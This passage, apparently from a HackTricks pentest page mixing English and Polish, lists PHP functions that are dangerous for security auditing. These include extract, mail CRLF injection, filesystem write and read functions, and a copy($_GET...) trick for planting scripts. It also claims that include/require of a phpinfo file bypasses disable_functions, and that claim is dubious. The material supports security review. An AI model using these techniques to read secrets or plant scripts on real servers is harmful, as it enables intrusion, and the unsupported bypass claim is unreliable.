  1. Using include or require functions: If the include or require functions are not disabled, you can use them to include a file that contains the desired code. For example, you can create a file named payload.php with the following content:
<?php
phpinfo();
?>

And then include it by running include('payload.php') or require('payload.php').

Conclusion

By using the techniques mentioned above, you can bypass the disable_functions directive in PHP and execute arbitrary code. However, it is important to note that these techniques should only be used for educational and ethical purposes, such as penetration testing or securing your own systems.

extract    // Opens the door for register_globals attacks (see study in scarlet).
parse_str  // works like extract if only one argument is given.
putenv
ini_set
mail       // has CRLF injection in the 3rd parameter, opens the door for spam.
header     // on old systems CRLF injection could be used for xss or other purposes, now it is still a problem if they do a header("location: ..."); and they do not die();. The script keeps executing after a call to header(), and will still print output normally. This is nasty if you are trying to protect an administrative area.
proc_nice
proc_terminate
proc_close
pfsockopen
fsockopen
apache_child_terminate
posix_kill
posix_mkfifo
posix_setpgid
posix_setsid
posix_setuid

Funkcje systemu plików

Według RATS wszystkie funkcje systemu plików w PHP są niebezpieczne. Niektóre z nich wydają się niezbyt przydatne dla atakującego. Inne są bardziej przydatne, niż mogłoby się wydawać. Na przykład, jeśli allow_url_fopen=On, to adres URL można użyć jako ścieżkę pliku, więc wywołanie copy($_GET['s'], $_GET['d']); można użyć do przesłania skryptu PHP w dowolne miejsce w systemie. Ponadto, jeśli strona jest podatna na żądanie wysłane za pomocą GET, każda z tych funkcji systemu plików może być wykorzystana do przekierowania ataku na inny host przez Twoje serwery.

Otwórz obsługę systemu plików

fopen
tmpfile
bzopen
gzopen
SplFileObject->__construct

Zapis do systemu plików (częściowo w połączeniu z odczytem)

W niektórych przypadkach, podczas testowania penetracyjnego aplikacji internetowych napisanych w PHP, może być konieczne przeprowadzenie operacji zapisu do systemu plików. Może to obejmować tworzenie, modyfikację lub usuwanie plików na serwerze.

Jedną z metod, które można wykorzystać do zapisu plików, jest wykorzystanie funkcji PHP, takich jak file_put_contents() lub fwrite(). Te funkcje umożliwiają zapisanie danych do pliku na serwerze.

Przykład użycia funkcji file_put_contents():

<?php
$file = 'path/to/file.txt';
$data = 'Some data to write to the file';

file_put_contents($file, $data);
?>

W powyższym przykładzie, funkcja file_put_contents() zapisuje zawartość zmiennej $data do pliku o ścieżce $file.

W niektórych przypadkach, aby przeprowadzić operację zapisu do systemu plików, może być konieczne wcześniejsze odczytanie zawartości istniejącego pliku. Można to zrobić za pomocą funkcji PHP, takich jak file_get_contents() lub fread().

Przykład użycia funkcji file_get_contents():

<?php
$file = 'path/to/file.txt';

$data = file_get_contents($file);

echo $data;
?>

W powyższym przykładzie, funkcja file_get_contents() odczytuje zawartość pliku o ścieżce $file i przypisuje ją do zmiennej $data. Następnie zawartość pliku jest wyświetlana za pomocą funkcji echo.

Ważne jest, aby pamiętać, że operacje zapisu do systemu plików mogą być ryzykowne i powinny być przeprowadzane tylko w celach testowych i zgodnie z prawem.

chgrp
chmod
chown
copy
file_put_contents
lchgrp
lchown
link
mkdir
move_uploaded_file
rename
rmdir
symlink
tempnam
touch
unlink
imagepng     // 2nd parameter is a path.
imagewbmp    // 2nd parameter is a path.
image2wbmp   // 2nd parameter is a path.
imagejpeg    // 2nd parameter is a path.
imagexbm     // 2nd parameter is a path.
imagegif     // 2nd parameter is a path.
imagegd      // 2nd parameter is a path.
imagegd2     // 2nd parameter is a path.
iptcembed
ftp_get
ftp_nb_get
scandir

Odczyt z systemu plików

W niektórych przypadkach podczas testowania penetracyjnego aplikacji internetowych narażonej na PHP, może być konieczne odczytanie zawartości plików z systemu plików. Może to być przydatne, na przykład, gdy chcemy uzyskać dostęp do plików konfiguracyjnych lub innych poufnych informacji przechowywanych na serwerze.

Aby odczytać zawartość plików z systemu plików, możemy skorzystać z funkcji PHP, takich jak file_get_contents() lub readfile(). Te funkcje pozwalają na odczytanie zawartości pliku i przekazanie jej do naszego kodu.

Przykład użycia funkcji file_get_contents():

$fileContent = file_get_contents('/ścieżka/do/pliku');
echo $fileContent;

Przykład użycia funkcji readfile():

readfile('/ścieżka/do/pliku');

Ważne jest, aby pamiętać, że odczyt z systemu plików może być nielegalny i naruszać prywatność lub bezpieczeństwo. Należy zawsze przestrzegać prawnych i etycznych zasad podczas testowania penetracyjnego i uzyskiwania dostępu do plików z systemu plików.

file_exists
-- file_get_contents
file
fileatime
filectime
filegroup
fileinode
filemtime
fileowner
fileperms
filesize
filetype
glob
is_dir
is_executable
is_file
is_link
is_readable
is_uploaded_file
is_writable
is_writeable
linkinfo
lstat
parse_ini_file
pathinfo
readfile
readlink
realpath
stat
gzfile
readgzfile
getimagesize
imagecreatefromgif
imagecreatefromjpeg
imagecreatefrompng
imagecreatefromwbmp
imagecreatefromxbm
imagecreatefromxpm
ftp_put
ftp_nb_put
exif_read_data
read_exif_data
exif_thumbnail
exif_imagetype
hash_file
hash_hmac_file
hash_update_file
md5_file
sha1_file
-- highlight_file
-- show_source
php_strip_whitespace
get_meta_tags
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: